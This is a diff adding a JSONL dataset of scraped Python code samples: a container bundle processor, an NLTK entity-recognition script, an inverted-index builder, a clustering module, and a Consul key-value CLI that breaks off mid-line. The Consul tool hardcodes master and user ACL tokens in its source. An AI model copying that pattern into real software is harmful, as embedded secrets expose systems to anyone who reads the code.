diff --git "a/4838.jsonl" "b/4838.jsonl" new file mode 100644--- /dev/null +++ "b/4838.jsonl" @@ -0,0 +1,746 @@ +{"seq_id":"213968730","text":"# If not stated otherwise in this file or this component's license file the\n# following copyright and licenses apply:\n#\n# Copyright 2020 Consult Red\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\nimport json\nimport humanfriendly\nimport textwrap\nfrom loguru import logger\nfrom pathlib import Path\nfrom bundlegen.core.utils import Utils\nfrom bundlegen.core.library_matching import LibraryMatching\nfrom bundlegen.core.capabilities import *\n\n\nclass BundleProcessor:\n def __init__(self, platform_cfg, bundle_path, app_metadata, nodepwalking, libmatchingmode, createmountpoints):\n self.platform_cfg: dict = platform_cfg\n self.bundle_path = bundle_path\n self.rootfs_path = os.path.join(self.bundle_path, \"rootfs\")\n self.app_metadata = app_metadata\n self.handled_libs = set()\n self.createmountpoints = createmountpoints\n\n self.oci_config: dict = self.load_config()\n self.libmatcher = LibraryMatching(\n self.platform_cfg, self.bundle_path, self._add_bind_mount, nodepwalking, libmatchingmode, createmountpoints)\n\n # Umoci will produce a config based on a \"good, sane default\" configuration\n # as defined here: https://github.com/opencontainers/umoci/blob/master/oci/config/convert/default.go\n # which then has the image configs applied on top.\n\n # We need to modify this config based on the platform configuration, without\n # breaking it. Work through and process each section individually, then\n # perform a final validation of the config\n\n def check_compatibility(self):\n if not self._compatibility_check():\n logger.error(\"App is not compatible with the selected platform\")\n return False\n\n return True\n\n # ==========================================================================\n def begin_processing(self):\n logger.info(\"Starting processing of bundle using platform template\")\n\n # Basic config\n if self.createmountpoints:\n self._create_mount_points_umoci()\n self._process_oci_version()\n self._process_process()\n self._process_mounts()\n self._process_resources()\n self._process_gpu()\n self._process_dobby_plugin_dependencies()\n self._process_users_and_groups()\n self._process_capabilities()\n\n # RDK Plugins section\n self._add_rdk_plugins()\n self._process_network()\n self._process_storage()\n self._process_logging()\n self._process_dynamic_devices()\n\n self.write_config_json()\n self._cleanup_umoci_leftovers()\n\n return True\n\n # ==========================================================================\n def _compatibility_check(self):\n logger.debug(\"Checking app compatibility\")\n\n # If the app requires graphics but the hardware does not (e.g dev VM)\n if self.app_metadata['graphics'] and not self.platform_cfg.get('hardware').get('graphics'):\n logger.warning(\"Platform does not support graphics output\")\n return False\n\n # Does platform support necessary features?\n if self.platform_cfg['rdk'].get('supportedFeatures'):\n missing_features = [f for f in self.app_metadata['features'] if f not in set(\n self.platform_cfg['rdk'].get('supportedFeatures'))]\n\n if missing_features:\n logger.warning(\n 'App requires the following features which are not supported by the platform: ' + ', '.join(missing_features))\n return False\n\n # Does platform support required network mode\n if self.app_metadata.get('network'):\n app_network_type = self.app_metadata['network'].get('type')\n if not app_network_type in self.platform_cfg['network']['options']:\n logger.warning(\n f\"App requires {app_network_type} networking, which is not supported by the platform\")\n\n # TODO:: Implement more checks here...\n return True\n\n # ==========================================================================\n\n def write_config_json(self):\n \"\"\"Writes the updated config.json file back to disk\n \"\"\"\n config_json_path = os.path.join(self.bundle_path, 'config.json')\n logger.debug(f'Saving modified OCI config to {config_json_path}')\n\n with open(config_json_path, 'w', encoding='utf-8') as config_file:\n json.dump(self.oci_config, config_file,\n ensure_ascii=False, indent=4)\n\n logger.debug('Written config.json successfully')\n\n # ==========================================================================\n def _add_bind_mount(self, src, dst, createmountpoint=False, options=None):\n \"\"\"Adds a bind mount for a file on the host into the container\n\n Args:\n src (string): Library path on host\n dst (string): Library path relative to container rootfs\n \"\"\"\n logger.debug(f\"Adding bind mount [src: {src}, dst: {dst}]\")\n\n # If we don't specify any mount options, go for a basic read-only but exec-able\n # mount\n mnt_to_add = {}\n if not options or not isinstance(options, list):\n mnt_to_add = {\n \"source\": src,\n \"destination\": dst,\n \"type\": \"bind\",\n \"options\": [\"rbind\", \"nosuid\", \"nodev\", \"ro\"]\n }\n else:\n mnt_to_add = {\n \"source\": src,\n \"destination\": dst,\n \"type\": \"bind\",\n \"options\": options\n }\n\n # Crun automatically creates the entries in the rootfs (except RO filesystems) if the permissions are correct\n # on the bundle (e.g. match the mapped in user)\n\n if createmountpoint:\n self._createAndWriteFileInRootfs(dst, '', 0o644)\n\n # Add bind mount\n if not mnt_to_add in self.oci_config['mounts']:\n self.oci_config['mounts'].append(mnt_to_add)\n\n # ==========================================================================\n def load_config(self):\n \"\"\"Loads the config generated by umoci into a dictionary for manipulation\n\n Returns:\n dict: Config as dictionary\n \"\"\"\n # Generated config will be called config.json and located in the root\n # of the dir created by umoci\n config_path = os.path.join(self.bundle_path, \"config.json\")\n\n # Convert config into dict\n with open(config_path) as config:\n return json.load(config)\n\n # ==========================================================================\n def _create_mount_points_umoci(self):\n \"\"\"Create mount points from file generated by umoci\n \"\"\"\n for mount in self.oci_config.get('mounts'):\n if (mount.get('destination') != '/etc/resolv.conf'):\n self._createEmptyDirInRootfs(mount.get('destination'))\n\n # ==========================================================================\n def _process_oci_version(self):\n \"\"\"Sets the config OCI version to 1.0.2-dobby\n \"\"\"\n logger.debug(\"Setting OCI version\")\n self.oci_config['ociVersion'] = \"1.0.2-dobby\"\n\n # ==========================================================================\n def _process_process(self):\n logger.debug(\"Processing process section\")\n\n # uid/gid set automatically from image by umoci\n\n # Args will be set to entrypoint from the image\n # Add DobbyInit to start of arguments\n\n self.oci_config['process']['args'].insert(0, '/usr/libexec/DobbyInit')\n\n # We'll need to mount DobbyInit into the container so we can actually use it\n self._add_bind_mount(\n '/usr/libexec/DobbyInit', '/usr/libexec/DobbyInit', self.createmountpoints)\n\n # Add platform envvars\n for envvar in self.platform_cfg.get('envvar'):\n self.oci_config['process']['env'].append(envvar)\n\n # Set resource limits on the process\n resource_limits = self.platform_cfg.get('resourceLimits')\n if resource_limits:\n for limit in resource_limits:\n self.oci_config['process']['rlimits'].append(limit)\n\n # ==========================================================================\n def _process_mounts(self):\n \"\"\"Adds various mounts to the config file\n \"\"\"\n logger.debug(\"Processing mounts\")\n\n # Add any extra misc mounts if there are any\n if self.platform_cfg.get('mounts'):\n for mount in self.platform_cfg.get('mounts'):\n self.oci_config['mounts'].append(mount)\n\n # Add any app-specific mounts\n if self.app_metadata.get('mounts'):\n for mount in self.app_metadata.get('mounts'):\n self.oci_config['mounts'].append(mount)\n\n # ==========================================================================\n def _process_gpu(self):\n \"\"\"Adds various GPU mounts/libs\n \"\"\"\n logger.debug(\"Processing GPU\")\n\n # Only configure GPU stuff if the app needs graphics\n if self.app_metadata.get('graphics') == True:\n # Check if the platform supports graphics\n if not self.platform_cfg['hardware']['graphics']:\n logger.error(\n \"App requires graphics but platform does not support graphics output\")\n return\n\n # Add mounts\n for mount in self.platform_cfg.get('gpu').get('extraMounts'):\n self.oci_config['mounts'].append(mount)\n if self.createmountpoints:\n if 'X-mount.mkdir' in mount['options']:\n self._createEmptyDirInRootfs(mount['destination'])\n else:\n self._createAndWriteFileInRootfs(mount['destination'], '', 0o644)\n\n # Add envvars\n for envvar in self.platform_cfg.get('gpu').get('envvar'):\n self.oci_config['process']['env'].append(envvar)\n\n # Now mount in any GPU libraries - these will just have a src/dst\n for lib in self.platform_cfg.get('gpu').get('gfxLibs'):\n self.libmatcher.mount(lib['src'], lib['dst'])\n\n # Add a mount for the westeros socket and set envvar in container\n # This is optional as can be set at container startup\n if self.platform_cfg.get('gpu').get('westeros'):\n socket = self.platform_cfg['gpu']['westeros'].get('hostSocket')\n if socket:\n self._add_bind_mount(\n socket, \"/tmp/westeros\", False, [\"rbind\", \"nosuid\", \"nodev\"])\n\n self.oci_config['process']['env'].append(\n \"WAYLAND_DISPLAY=westeros\")\n\n # Add the GPU devices\n\n # Create the necessary config sections if they don't already exist\n if not self.oci_config['linux'].get('devices'):\n self.oci_config['linux']['devices'] = []\n\n if not self.oci_config['linux'].get('resources'):\n self.oci_config['linux']['resources'] = {}\n\n if not self.oci_config['linux']['resources'].get('devices'):\n self.oci_config['linux']['resources']['devices'] = []\n\n for dev in self.platform_cfg.get('gpu').get('devs'):\n # First add the node\n dev_cfg = {\n \"path\": dev['path'],\n \"type\": dev['type'],\n \"major\": dev['major'],\n \"minor\": dev['minor']\n }\n self.oci_config['linux']['devices'].append(dev_cfg)\n\n # Second set the cgroup permissions\n dev_permissions = {\n \"allow\": True,\n \"type\": dev['type'],\n \"major\": dev['major'],\n \"minor\": dev['minor'],\n \"access\": dev['access']\n }\n self.oci_config['linux']['resources']['devices'].append(\n dev_permissions)\n\n # ==========================================================================\n\n def _process_resources(self):\n \"\"\"Set cgroup resource limits\n\n There's a lot we can do here for security/performance limiting\n in the future. Need to decide what can be set on a per-app basis\n and what should be set per-device.\n\n For now, it just sets RAM limit based on app requirement\n\n Device whitelist will be set by Dobby at runtime based on Dobby settings\n file as needs the major/minor numbers for devices\n \"\"\"\n logger.debug(\"Processing resources\")\n\n # Create config sections\n if not self.oci_config['linux'].get('resources'):\n self.oci_config['linux']['resources'] = {}\n\n if not self.oci_config['linux']['resources'].get('devices'):\n self.oci_config['linux']['resources']['devices'] = []\n\n # If the device cgroup list doesn't contain a \"block-all\" rule, add it\n # Note: This must come first in the array\n deny_all_devs_cgroup = {\n \"allow\": False,\n \"access\": \"rwm\"\n }\n\n if not deny_all_devs_cgroup in self.oci_config['linux']['resources']['devices']:\n self.oci_config['linux']['resources']['devices'].append(\n deny_all_devs_cgroup)\n\n # If the platform defines a max RAM amount for an app, set it if we can\n hw_max_ram = self.platform_cfg.get('hardware').get('maxRam')\n if hw_max_ram:\n app_ram_requirement = self.app_metadata.get('resources').get('ram')\n app_ram_bytes = humanfriendly.parse_size(app_ram_requirement)\n platform_ram_bytes = humanfriendly.parse_size(hw_max_ram)\n\n self.oci_config['linux']['resources']['memory'] = {}\n\n if app_ram_bytes > platform_ram_bytes:\n logger.warning(\n f\"App memory requirements too large for platform ({app_ram_requirement}>{hw_max_ram}). Setting RAM to platform limit\")\n self.oci_config['linux']['resources']['memory']['limit'] = platform_ram_bytes\n else:\n self.oci_config['linux']['resources']['memory']['limit'] = app_ram_bytes\n\n # ==========================================================================\n def _process_users_and_groups(self):\n \"\"\"If a specific user/group mapping has been added to the platform config\n then we need to add that.\n \"\"\"\n logger.debug(\"Adding user/group mappings\")\n\n # If the platform doesn't use user namespacing, delete the user namespace\n if self.platform_cfg.get('disableUserNamespacing'):\n logger.debug(\"User namespacing disabled on this platform\")\n\n # Remove the user namespace type set by umoci\n self.oci_config['linux']['namespaces'][:] = [\n x for x in self.oci_config['linux']['namespaces'] if not x['type'] == 'user']\n\n # Umoci will have automatically added a uid/gid map based on the user\n # that ran bundlegen. Remove these\n del self.oci_config['linux']['uidMappings']\n del self.oci_config['linux']['gidMappings']\n\n return\n\n # Platform supports user namespaces\n self.oci_config['linux']['uidMappings'] = []\n self.oci_config['linux']['gidMappings'] = []\n\n # If the platform doesn't have a user/group set, it will have to be\n # set dynamically by Dobby at runtime\n if not self.platform_cfg.get('usersAndGroups'):\n logger.debug(\n \"Platform does not have a user/group ID mapping set - this must be set at runtime\")\n return\n\n # Syntax in platform cfg is the same as OCI config, so can just copy over\n for uidmap in self.platform_cfg['usersAndGroups'].get('uidMap'):\n self.oci_config['linux']['uidMappings'].append(uidmap)\n\n for gidmap in self.platform_cfg['usersAndGroups'].get('gidMap'):\n self.oci_config['linux']['gidMappings'].append(gidmap)\n\n # ==========================================================================\n def _process_capabilities(self):\n \"\"\"Adds a default set of capabilities to the config\n \"\"\"\n logger.debug(\"Adding capabilities\")\n\n # If the platform defines a baseline set of caps, use that\n app_capabilities = set()\n if self.platform_cfg.get('capabilities'):\n app_capabilities.update(self.platform_cfg['capabilities'])\n else:\n app_capabilities.update(get_default_caps())\n\n # If the app adds or drops capabilities, add then\n if self.app_metadata.get('capabilities'):\n if self.app_metadata.get('capabilities').get('add'):\n app_capabilities.update(self.app_metadata['capabilities']['add'])\n\n if self.app_metadata.get('capabilities').get('drop'):\n app_capabilities = app_capabilities.difference(self.app_metadata['capabilities']['drop'])\n\n # Replace default caps generated by umoci with our caps\n cfg_caps = self.oci_config.get('process').get('capabilities')\n\n # TODO:: We set the same caps for all types (this is how Docker/Podman works)\n # but we may want to be more granular\n cfg_caps['bounding'] = list(app_capabilities)\n cfg_caps['permitted'] = list(app_capabilities)\n cfg_caps['effective'] = list(app_capabilities)\n cfg_caps['inheritable'] = list(app_capabilities)\n cfg_caps['ambient'] = list(app_capabilities)\n\n # ==========================================================================\n def _add_rdk_plugins(self):\n \"\"\"Just adds the rdkplugins section ready to be populated\n\n Also adds a mount for the Dobby plugin directory so the startContainer\n hook can load them\n \"\"\"\n self.oci_config['rdkPlugins'] = {}\n\n if self.platform_cfg.get('dobby') and self.platform_cfg['dobby'].get('pluginDir'):\n plugin_dir = self.platform_cfg['dobby']['pluginDir']\n self._add_bind_mount(plugin_dir, plugin_dir)\n\n # ==========================================================================\n def _process_network(self):\n # If app needs networking, add the plugin\n # The network settings in app metadata mirrors the plugin config\n # so can just set directly\n logger.debug(\"Processing network\")\n network_settings = self.app_metadata.get('network')\n if network_settings:\n # Create the plugin definition\n self.oci_config['rdkPlugins']['networking'] = {}\n self.oci_config['rdkPlugins']['networking']['required'] = True\n self.oci_config['rdkPlugins']['networking']['data'] = network_settings\n\n # Networking plugin expects some files in the rootfs\n # Create them with basic contents that can be overridden later\n\n # /etc/nsswitch.conf\n nsswitch_contents = '''\\\n hosts: files mdns4_minimal [NOTFOUND=return] dns mdns4\n protocols: files\\n'''\n self._createAndWriteFileInRootfs(\n 'etc/nsswitch.conf', nsswitch_contents, 0o644)\n\n # /etc/hosts\n hosts_content = \"127.0.0.1\\tlocalhost\\'\"\n self._createAndWriteFileInRootfs('etc/hosts', hosts_content, 0o644)\n\n # /etc/resolv.conf\n if self.createmountpoints:\n self._createAndWriteFileInRootfs('etc/resolv.conf', '', 0o644)\n\n # ==========================================================================\n def _process_storage(self):\n \"\"\"Adds the RDK storage plugin to the config and creates any tmpfs mounts\n \"\"\"\n logger.debug(\"Processing storage\")\n\n storage_settings = self.app_metadata.get('storage')\n if storage_settings:\n # Persistent storage uses the storage plugin\n if storage_settings.get('persistent'):\n loopback_plugin = {\n \"required\": True,\n \"data\": {\n \"loopback\": []\n }\n }\n\n # Can be multiple persistent storage options\n for persistent in storage_settings.get('persistent'):\n # Get desired size/path from app metadata\n size = persistent.get('size')\n dest_path = persistent.get('path')\n\n # Validate we are allowed a size this large\n maxSize = self.platform_cfg.get(\n 'storage').get('persistent').get('maxSize')\n\n if maxSize and humanfriendly.parse_size(size) > humanfriendly.parse_size(maxSize):\n logger.warning(\n f\"Persistent storage requested by app exceeds platform limit ({size} > {maxSize}\")\n\n if not self.platform_cfg.get('storage').get('persistent'):\n logger.error(\n \"Cannot create persistent storage - platform does not define options\")\n return\n\n # Create a path for where the img file should be saved on the host\n persistent_storage_dir = self.platform_cfg.get(\n 'storage').get('persistent').get('storageDir')\n\n source_path = os.path.join(\n persistent_storage_dir, self.app_metadata['id'], f\"{Utils.get_random_string(8)}.img\")\n\n loopback_mnt_def = {\n \"destination\": dest_path,\n \"flags\": 14,\n \"fstype\": \"ext4\",\n \"source\": source_path,\n \"imgsize\": humanfriendly.parse_size(size)\n }\n\n loopback_plugin['data']['loopback'].append(\n loopback_mnt_def)\n\n self._createEmptyDirInRootfs(dest_path)\n if self.createmountpoints:\n tmp_path = dest_path + '.temp'\n self._createEmptyDirInRootfs(tmp_path)\n\n\n # Add plugin to config\n self.oci_config['rdkPlugins']['storage'] = loopback_plugin\n\n # Temp storage just uses a normal OCI mount set to tmpfs with the\n # size set accordingly\n if storage_settings.get('temp'):\n for tmp_mnnt in storage_settings.get('temp'):\n size = humanfriendly.parse_size(tmp_mnnt.get('size'))\n\n mnt_to_add = {\n \"destination\": tmp_mnnt['path'],\n \"type\": \"tmpfs\",\n \"source\": \"tmpfs\",\n \"options\": [\"nosuid\", \"strictatime\", \"mode=755\", f\"size={size}\"]\n }\n\n self.oci_config['mounts'].append(mnt_to_add)\n\n self._createEmptyDirInRootfs(tmp_mnnt['path'])\n\n # ==========================================================================\n def _process_logging(self):\n \"\"\"Adds the logging plugin to the config to set up container logs\n \"\"\"\n logger.debug(\"Configuring logging\")\n\n if not self.platform_cfg.get('logging'):\n logger.info(\n \"Platform does not contain logging options - container will not produce any logs\")\n return\n\n logging_plugin = {}\n\n # If logging to a file\n if self.platform_cfg['logging'].get('mode') == 'file':\n log_dir = self.platform_cfg['logging']['logDir']\n logfile = os.path.join(log_dir, f\"{self.app_metadata['id']}.log\")\n\n logging_plugin = {\n \"required\": True,\n \"data\": {\n \"sink\": \"file\",\n \"fileOptions\": {\n \"path\": logfile\n }\n }\n }\n elif self.platform_cfg['logging'].get('mode') == 'journald':\n logging_plugin = {\n \"required\": True,\n \"data\": {\n \"sink\": \"jourald\"\n }\n }\n\n self.oci_config['rdkPlugins']['logging'] = logging_plugin\n return\n\n # ==========================================================================\n def _process_dynamic_devices(self):\n \"\"\"Adds the devicemapper plugin to the config to set up dynamic devices:\n devices that do not have a fixed major/minor after boot\n \"\"\"\n logger.debug(\"Configuring devicemapper\")\n\n dynamic_devices = []\n for dev in self.platform_cfg.get('gpu').get('devs'):\n if 'dynamic' in dev and dev['dynamic']:\n dynamic_devices.append(dev['path'])\n\n if len(dynamic_devices) == 0:\n return\n\n devicemapper_plugin = {\n 'required': True,\n 'data' : {\n 'devices': dynamic_devices\n }\n }\n\n self.oci_config['rdkPlugins']['devicemapper'] = devicemapper_plugin\n return\n\n # ==========================================================================\n def _process_dobby_plugin_dependencies(self):\n \"\"\"\n Mounts any libraries needed from the host into the container\n\n GPU library mounts are handled in the GPU section\n \"\"\"\n if self.platform_cfg.get('dobby') and self.platform_cfg['dobby'].get('pluginDependencies'):\n logger.debug(\"Adding library mounts for Dobby plugins\")\n logger.debug(\"rootfs path is \" + self.rootfs_path)\n for lib in self.platform_cfg['dobby']['pluginDependencies']:\n self.libmatcher.mount_or_use_rootfs(lib, lib)\n\n # ==========================================================================\n def _cleanup_umoci_leftovers(self):\n \"\"\"Umoci creates a few extra files in the bundle we don't care about\n \"\"\"\n logger.debug(\"Cleaning up umoici leftovers\")\n os.remove(os.path.join(self.bundle_path, \"umoci.json\"))\n\n for f_path in Path(self.bundle_path).glob('sha256_*.mtree'):\n logger.debug(f\"Deleting {f_path}\")\n os.remove(f_path)\n\n # ==========================================================================\n def _createAndWriteFileInRootfs(self, path, contents, mode):\n \"\"\"Creates a file in the container rootfs if it doesn't exist with the\n specified contents and linux mode\n \"\"\"\n fullPath = os.path.join(self.rootfs_path, path.lstrip('/'))\n\n # Create the directory if doesn't exist\n directory = os.path.dirname(fullPath)\n if not os.path.exists(directory):\n os.makedirs(directory, 0o755)\n\n # Write the file\n with open(fullPath, 'w') as f:\n # Dedent to remove any leading spaces if using multiline strings\n f.write(textwrap.dedent(contents))\n\n os.chmod(fullPath, mode)\n\n # ==========================================================================\n def _createEmptyDirInRootfs(self, path):\n \"\"\"Creates an empty directory in the container rootfs if it doesn't exist with the\n specified contents and linux mode\n \"\"\"\n fullPath = os.path.join(self.rootfs_path, path.lstrip('/'))\n\n logger.debug(f\"Creating directory {fullPath}\")\n\n # Create the directory if doesn't exist\n if not os.path.exists(fullPath):\n os.makedirs(fullPath, 0o755)\n","sub_path":"bundlegen/core/bundle_processor.py","file_name":"bundle_processor.py","file_ext":"py","file_size_in_byte":28081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"289681887","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Jan 6 19:39:03 2018\r\n\r\n@author: noelg\r\n\"\"\"\r\n\r\nimport nltk\r\nfrom nltk.corpus import state_union\r\nfrom nltk.tokenize import PunktSentenceTokenizer\r\n\r\ntrain_text = state_union.raw (\"C:/Users/noelg/Desktop/Call of the wild.txt\")\r\ntesting_text = state_union.raw (\"C:/Users/noelg/Desktop/Alice under the ground.txt\")\r\n\r\ncustom_sent_tokenizer = PunktSentenceTokenizer(train_text)\r\n\r\ntokenized = custom_sent_tokenizer.tokenize(testing_text)\r\n\r\ndef process_content():\r\n \r\n try:\r\n for i in tokenized [:5]:\r\n words = nltk.word_tokenize(i)\r\n tagged = nltk.pos_tag(words)\r\n \r\n namedEnt = nltk.ne_chunk(tagged, binary = False)\r\n namedEnt.draw()\r\n \r\n #If we put binary = True we find the name entity but not the kind of word\r\n \r\n\r\n \r\n \r\n \r\n \r\n except Exception as e:\r\n print(str(e))\r\n\r\nprocess_content ()\r\n\r\n\r\n#Would it be better if we use a same author's novels to train the algorithm?\r\n\r\n","sub_path":"Named Entity Recognition NLTK.py","file_name":"Named Entity Recognition NLTK.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"317942663","text":"import codecs\nimport fnmatch\nimport os\n\ninverted_index = {}\ndata = {}\n\nfor dirpath, dirs, files in os.walk('nlp/step4'):\n for filename in fnmatch.filter(files, '*.txt'):\n with codecs.open(os.path.join(dirpath, filename), 'r', encoding=\"utf-8\")as f:\n\n for word in f.read().split():\n if word not in inverted_index:\n inverted_index[word] = 1\n data[word] = [str(filename).replace(\".txt\", \"\")]\n else:\n inverted_index[word] += 1\n j = list(data[word])\n j.append(str(filename).replace(\".txt\", \"\"))\n data[word] = j\n\nfile = codecs.open(\"nlp/step5/inverted-index.txt\", 'w', encoding=\"utf-8\")\nfor k,v in inverted_index.items():\n file.write(str(k) + \",\" + str(v))\n for v in list(data[k]) :\n file.write(\",\" + v)\n file.write(\"\\n\")\n\nfile.close();\n\n\n","sub_path":"twitter-step-5.py","file_name":"twitter-step-5.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"190240620","text":"\"\"\"Module contaning various machine leaning functions. Should be general enough to be used by multiple stream types. \n\nAnalysis functions specific to a stream do not belong in here\n\nMostly uses \nhttp://scikit-learn.org/stable/tutorial/basic/tutorial.html\n\"\"\"\n\nfrom sumall_analysis_tools.stats.stat_functions import CI95\nfrom sumall_analysis_tools.utils.grapher import bar\n\nfrom sklearn.cluster import KMeans\nimport numpy as np\n\n\ndef kmeanspp(data_matrix, k):\n \"\"\"Clusters a data matrix\n kmeans uses eudlidean distances by default http://scikit-learn.org/stable/modules/clustering.html#k-means\n http://scikit-learn.org/stable/modules/generated/sklearn.cluster.MiniBatchKMeans.html#sklearn.cluster.MiniBatchKMeans\n \"\"\"\n kmeans = KMeans(init='k-means++', n_clusters=k, n_init=10)\n c = kmeans.fit(data_matrix)\n centroids = c.cluster_centers_\n labels = c.labels_\n return centroids, labels\n \n \ndef cluster_performance(mysql_conn, clustering_function, sid, metric=None):\n \"\"\"Clusters data using eudlidean distance, then calculates the performance of each cluster, where performance is an arbitrary metric \n (currently any real number number passed in). \n \n Takes a clustering function that returns a tuple \n \n num_clusters, ys, data_mat, labelling_function\n \n Where:\n 1) num_clusters : the k in k-means++\n 2) ys: performance of each x data point. Used to see how whatever metric this is varies across clusters\n 3) data_mat: a NXB np matrix of feature vectors where\n N is the number of samples to cluster\n B is the length of each feature vector\n n \\in {1, N} is the nth sample encoded as a feature vector\n 4) labelling_function: a function that converts cluster centroids to human readable labels\n \"\"\" \n \n #Get the ys counts and data matrix\n if metric:\n num_clusters, ys, data_mat, labelling_function = clustering_function(mysql_conn, sid, metric=metric) \n else:\n num_clusters, ys, data_mat, labelling_function = clustering_function(mysql_conn, sid)\n \n #get the cluster centroids and the cluster assignment (label) of each vectorin the data matrix\n centroids, labels = kmeanspp(data_matrix=data_mat,k=num_clusters)\n \n #holds a list of performance for all tweets assigned to each cluster \n performance_per_cluster= dict()\n \n cluster_numbers = []\n cluster_means = []\n cluster_errs = []\n cluster_labels = []\n \n done = dict()\n for l in labels: \n if l not in done:\n done[l]=1 #make sure we only process each label once\n es = [ys[i] for i in range(0,len(labels)) if labels[i]==l]\n cluster_means.append(np.mean(es))\n cluster_errs.append(CI95(es))\n cluster_numbers.append(len(es))\n cluster_labels.append(labelling_function(centroids[l]))\n \n #Get the permutation that would sort the bars by performance from highest to lowest\n mean_sorted_permutation = np.argsort(cluster_means)[::-1] \n \n bar([i for i in range(0,len(cluster_means))], \n [cluster_means[i] for i in mean_sorted_permutation], \n [cluster_errs[i] for i in mean_sorted_permutation], \n [cluster_numbers[i] for i in mean_sorted_permutation], \n [cluster_labels[i] for i in mean_sorted_permutation],\n \"Cluster\", \"Mean performance, 95% CI\", \"\")\n \n\n","sub_path":"sumall_analysis_tools/machine_learning/clustering/clustering.py","file_name":"clustering.py","file_ext":"py","file_size_in_byte":3497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"205568470","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nimport os\nimport sys\nimport socket\nimport json\nimport logging\nimport click\nimport consul\n\nLOG = None\nMASTER_TOKEN = 'e64e7849-23d4-4f6c-bc3b-29ba84c3fa0'\n\n\ndef collect_properties(basekey, folder, parse):\n \"\"\"\n return list of tuples: tuple(property_key, property_value)\n \"\"\"\n kvlist = []\n if os.path.exists(folder) and os.path.isdir(folder):\n for f in os.listdir(folder):\n show_verbose('file name: %s' % f)\n\n fpath = '/'.join([folder, f])\n if not os.path.isfile(fpath):\n show_verbose('not a file')\n continue\n\n if f.endswith('properties') or f.endswith('.ini') or f.endswith('.yml') or f.endswith('.xml'):\n dir_key = '%s/%s' % (basekey, f)\n show_verbose('Property file: %s, dir_key: %s' % (f, dir_key))\n with open(fpath) as x:\n if not parse:\n content = x.read()\n kvlist.extend([(dir_key, content)])\n else:\n content = x.readlines()\n kvlist.extend(extract_properties(dir_key, content))\n\n return kvlist\n\n\ndef extract_properties(dir_key, content):\n \"\"\"\n Read content and extract property name and value. The method assumes that property name and value are\n on same line -- i.e. errors parsing value that span multiple lines.\n Example of property:\n db.name=CustomerInformation\n db.user=johndoe\n\n Say dir_key is 'dev/payment'\n\n This will be returned as a list of tuple. something like\n\n [('dev/payment/db.name', 'CustomerInformation'), ('dev/payment/db.user', 'johndoe')]\n \"\"\"\n lines = content\n nvlist = []\n for ln in lines:\n ln = ln.strip()\n if ln:\n if not ln.startswith('#'):\n x = ln.split('=')\n name = '%s/%s' % (dir_key, x[0])\n value = '%s' % x[1]\n nvlist.append((name, value))\n return nvlist\n\n\ndef save_to_consul(kvlist, server):\n \"\"\"\n Save values for keys in Consul K-V store. kvlist is a list of tuples, where tuple is (key, value).\n \"\"\"\n token = get_consul_token()\n elis_base_key = get_elis2_key()\n\n client = consul.Consul(host=server, port=80, token=token)\n\n for kv in kvlist:\n key = '%s/%s' % (elis_base_key, kv[0])\n value = kv[1]\n success = client.kv.put(key, value)\n if not success:\n show_verbose('Failed to create/update key %s' % key)\n\n\ndef retrieve_from_consul(server, basekey):\n \"\"\" Retrieve recursively retrieve stored in a Consul server.\n\n Args:\n server (url): Consul server URL\n basekey (key): get values for all keys below basekey\n\n Returns:\n list of key,value tuples\n \"\"\"\n token = get_consul_token()\n elis_key = get_elis2_key()\n k = '%s/%s' % (elis_key, basekey)\n\n show_verbose('retrieve_from_consul full key %s' % k)\n\n client = consul.Consul(host=server, port=80, token=token)\n _, result = client.kv.get(k, recurse=True)\n\n kvlist = []\n if result:\n for r in result:\n k = r['Key']\n show_verbose('Retrieve value of key: %s' % k)\n v = r['Value']\n kvlist.extend([(k, v)])\n\n return kvlist\n\n\ndef save_to_folder(kvlist, dstfolder):\n \"\"\"TODO\"\"\"\n \"\"\" Save key-value pair to a file in given folder\n\n Args:\n server (url): Consul server URL\n basekey (key): get values for all keys below basekey\n\n Returns:\n list of key,value tuples\n \"\"\"\n\n for kv in kvlist:\n k = kv[0]\n fname = k.split('/')[-1]\n if fname:\n show_verbose('Save contents in file: %s' % fname)\n filepath = os.path.join(dstfolder, fname)\n show_verbose('Save file %s at path %s' % (fname, filepath))\n contents = kv[1]\n with open(filepath, 'w') as f:\n f.write(contents)\n\n\ndef get_consul_token():\n \"\"\"Get pre-configured user token\"\"\"\n return 'a3d644d0-40de-2386-3cb0-7728d8f7ebda'\n\ndef get_master_token():\n return 'e64e7849-23d4-4f6c-bc3b-29ba84c3fa0'\n\ndef get_node_name():\n \"\"\" Get this host name. Similar to *nix hostname command.\n\n Returns:\n Host name\n \"\"\"\n return socket.gethostname()\n\n\ndef get_node_ipaddress():\n \"\"\" Get this host IP address. By default the IP address is for eth0 interface.\n\n Returns:\n Host IP address\n \"\"\"\n return socket.gethostbyname(socket.gethostname())\n\n\ndef get_elis2_key():\n return 'elis2'\n\n\ndef show_verbose(msg):\n LOG.info(msg)\n\n\n@click.group()\ndef cli():\n pass\n\n\n@cli.command()\n@click.option('--server', default='localhost', help='Consul server URL')\n@click.option('--env', help='Properties for the given deploy environoment -- for example preprod')\n@click.option('--service', help='Service corresponding to given properties.')\n@click.option('--verbose', is_flag=True, help='Verbose output.')\ndef kvkeys(server, env, service, verbose):\n \"\"\" List all Consul KV keys for given environment and service. \"\"\"\n if not env:\n print('Error! Deployment environment required.')\n return\n if not service:\n print('Error! Service name required.')\n return\n\n if verbose:\n LOG.setLevel(logging.INFO)\n\n basekey = '/'.join([env, service])\n\n show_verbose('Base key: %s' % basekey)\n\n kvlist = retrieve_from_consul(server, basekey)\n for kv in 